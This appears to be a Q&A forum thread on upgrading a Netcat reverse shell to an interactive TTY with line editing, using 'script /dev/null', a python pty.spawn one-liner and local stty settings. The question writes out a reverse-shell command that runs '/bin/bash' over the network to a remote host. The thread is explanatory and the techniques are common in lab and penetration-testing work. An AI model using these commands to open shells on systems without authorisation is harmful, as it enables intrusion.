How can I upgrade a primitive Netcat shell to a fully-featured login shell with tab-completion and line editing?

Suppose I start a remote (reverse) shell using Netcat as follows:

nc -lvp $port
nc $ip $port -e '/bin/bash'

Now, what I get is a shell without TTY, tab-completion, line-editing, or history. That is, the left, up, right, and down keyboard keys results in ^[[D,^[[A,^[[C,^[[B, resp, and pressing ^C causes the shell to terminate:

   $ tty
   not a tty

Now, it's fairly simple to start a PTY for the shell, so that commands like su may run. However, the shell still lacks essential features (see above) that one expects from a normal login shell.

If possible, how can the Netcat initiated shell be upgraded to something that resembles a normal login shell? Please, explain the steps.

  • this link has a lot of good info I have used in the past netsec.ws/?p=337 if you wish to see some of the shell upgrading in action check out ippsecs youtube channel here youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA I hope this helps, both helped me in the past Jun 12 '19 at 16:15
  • Thanks, I've only had success with spawning a TTY using python -c 'import pty; pty.spawn("/bin/sh")', but none of the other commands on that page. Can you explain? Also, can you explain how the trick works using stty raw -echo?
    – Shuzheng
    Jun 12 '19 at 16:20

You cannot "upgrade" an already running shell.

You can however

a) create a pty and run another shell in it with script /dev/null

b) fiddle with your local terminal so it doesn't intepret the intr, eof, eol and other keys specially, but pass them through.

$ nc -lvp 9999
Listening on [] (family 0, port 9999)

  [ncat -4 localhost 9999 -e /bin/bash in another terminal]

Connection from localhost 36790 received!
exec script /dev/null
Script started, file is /dev/null

  [press Control-Z]

[1]+  Stopped                 nc -lvp 9999
s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"

  [press Enter]


  [now history and control keys work as expected

   you may also want to set the correct name with TERM=
   and the correct size with stty rows R cols C

   press Control-D to terminate the shell] 

Anyways, this netcat game is pretty pointless and ridiculous; who really wants to run shell sessions through unecrypted connections? We already used to have things like ssh back in 2019.

  • Thanks for you excellent answer @mosvy. I'm in doubt of the following things. Could you explain the "pty" and "local terminal" parts more elaborate? We create a pty on the remote side, right? Aren't we manipulating that pty using stty? Are the -icanon, -echo, and -isig options for eof, eol, and intr, resp? What should TERM be set to? I sometimes see xterm-256color but also xterm?
    – Shuzheng
    Jun 12 '19 at 17:45
  • As already mentioned, all the stty manipulation is done on the local terminal, in order to send any control keys unmodified through the netcat. You should set the TERM envvar in the remote shell to the name of your local terminal, whatever that is. (Same with its size). This web interface makes hard to display terminal interactions in a nice way (eg. with colors), but I think that with a little effort, anybody could figure out what the user input and the program output are in the example above.
    – mosvy
    Jun 12 '19 at 17:52
  • What I don't understand is: Why do you stty "$s" after fg? After you fg, you enter into the remote shell once again, don't you? So you are manipulating the remote terminal device (pty), why? These are the technicalities that I'm not sure about.
    – Shuzheng
    Jun 13 '19 at 6:47
  • In order to not have your (local) terminal completely messed up when you exit from the remote shell with Control-D. The commands after fg will only be run after the nc ... has returned. The stty "$s" restores the terminal settings saved with s=$(stty -g). Just try it without it to see the difference ;-)
    – mosvy
    Jun 13 '19 at 6:50
  • Ahh, right! I missed that stty "$s" is first run, when nc returns to restore the TTY settings, doh - now it makes more sense. So, we are manipulating the local TTY using stty... Why isn't it necessary to manipulate the remote PTY that was allocated using script /dev/null? And why do you run exec script /dev/null instead of just script /dev/null?
    – Shuzheng
    Jun 13 '19 at 6:53

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.